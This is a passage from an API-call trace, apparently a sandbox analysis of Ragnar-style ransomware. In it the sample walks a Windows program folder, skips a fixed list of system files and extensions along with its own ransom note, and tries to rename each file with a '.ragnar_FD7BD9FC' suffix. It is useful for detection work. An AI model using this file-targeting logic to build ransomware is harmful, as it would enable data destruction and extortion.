lpString2="boot.ini") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootfont.bin") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootsect.bak") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootmgr") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="desktop.ini") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntldr") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.776] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0078.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.776] CloseHandle (hObject=0xffffffff) returned 0 [0078.777] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" [0078.777] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ragnar_FD7BD9FC" [0078.777] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.777] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0078.777] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.777] lstrcpyW (in: lpString1=0x1eab5a, lpString2="highlight.png" | out: lpString1="highlight.png") returned="highlight.png" [0078.777] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned=".png" [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="autorun.inf") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="boot.ini") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="bootfont.bin") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="bootsect.bak") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="bootmgr") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="bootmgr.efi") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="bootmgfw.efi") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="desktop.ini") returned 1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="iconcache.db") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="ntldr") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="ntuser.dat") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="ntuser.dat.log") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="ntuser.ini") returned -1 [0078.777] lstrcmpiW (lpString1="highlight.png", lpString2="thumbs.db") returned -1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.777] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0078.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.778] CloseHandle (hObject=0xffffffff) returned 0 [0078.778] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" [0078.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ragnar_FD7BD9FC" [0078.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.778] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0078.778] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.778] lstrcpyW (in: lpString1=0x1eab5a, lpString2="mainimage-mask.png" | out: lpString1="mainimage-mask.png") returned="mainimage-mask.png" [0078.778] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png") returned=".png" [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="autorun.inf") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="boot.ini") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootfont.bin") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootsect.bak") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootmgr") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootmgr.efi") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="bootmgfw.efi") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="desktop.ini") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="iconcache.db") returned 1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntldr") returned -1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntuser.dat") returned -1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntuser.dat.log") returned -1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="ntuser.ini") returned -1 [0078.778] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="thumbs.db") returned -1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.778] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.779] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.779] CloseHandle (hObject=0xffffffff) returned 0 [0078.779] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" [0078.779] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ragnar_FD7BD9FC" [0078.779] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.779] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0078.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.779] lstrcpyW (in: lpString1=0x1eab5a, lpString2="notes-static.png" | out: lpString1="notes-static.png") returned="notes-static.png" [0078.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned=".png" [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="autorun.inf") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="boot.ini") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="bootfont.bin") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="bootsect.bak") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="bootmgr") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="bootmgr.efi") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="bootmgfw.efi") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="desktop.ini") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="iconcache.db") returned 1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="ntldr") returned -1 [0078.779] lstrcmpiW (lpString1="notes-static.png", lpString2="ntuser.dat") returned -1 [0078.780] lstrcmpiW (lpString1="notes-static.png", lpString2="ntuser.dat.log") returned -1 [0078.780] lstrcmpiW (lpString1="notes-static.png", lpString2="ntuser.ini") returned -1 [0078.780] lstrcmpiW (lpString1="notes-static.png", lpString2="thumbs.db") returned -1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.780] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0078.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.781] CloseHandle (hObject=0xffffffff) returned 0 [0078.781] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" [0078.781] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ragnar_FD7BD9FC" [0078.781] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.781] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0078.781] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.781] lstrcpyW (in: lpString1=0x1eab5a, lpString2="play-static.png" | out: lpString1="play-static.png") returned="play-static.png" [0078.781] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png") returned=".png" [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="autorun.inf") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="boot.ini") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="bootfont.bin") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="bootsect.bak") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="bootmgr") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="bootmgr.efi") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="bootmgfw.efi") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="desktop.ini") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="iconcache.db") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="ntldr") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="ntuser.dat") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="ntuser.dat.log") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="ntuser.ini") returned 1 [0078.781] lstrcmpiW (lpString1="play-static.png", lpString2="thumbs.db") returned -1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.781] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.782] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0078.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.782] CloseHandle (hObject=0xffffffff) returned 0 [0078.782] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" [0078.782] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ragnar_FD7BD9FC" [0078.782] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.782] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812bd9e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.782] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.782] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.782] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.782] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.782] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812bd9e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.782] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0078.782] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".") returned 1 [0078.782] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="..") returned 1 [0078.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0078.782] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".") returned 1 [0078.782] lstrcmpiW (lpString1="circleround_glass.png", 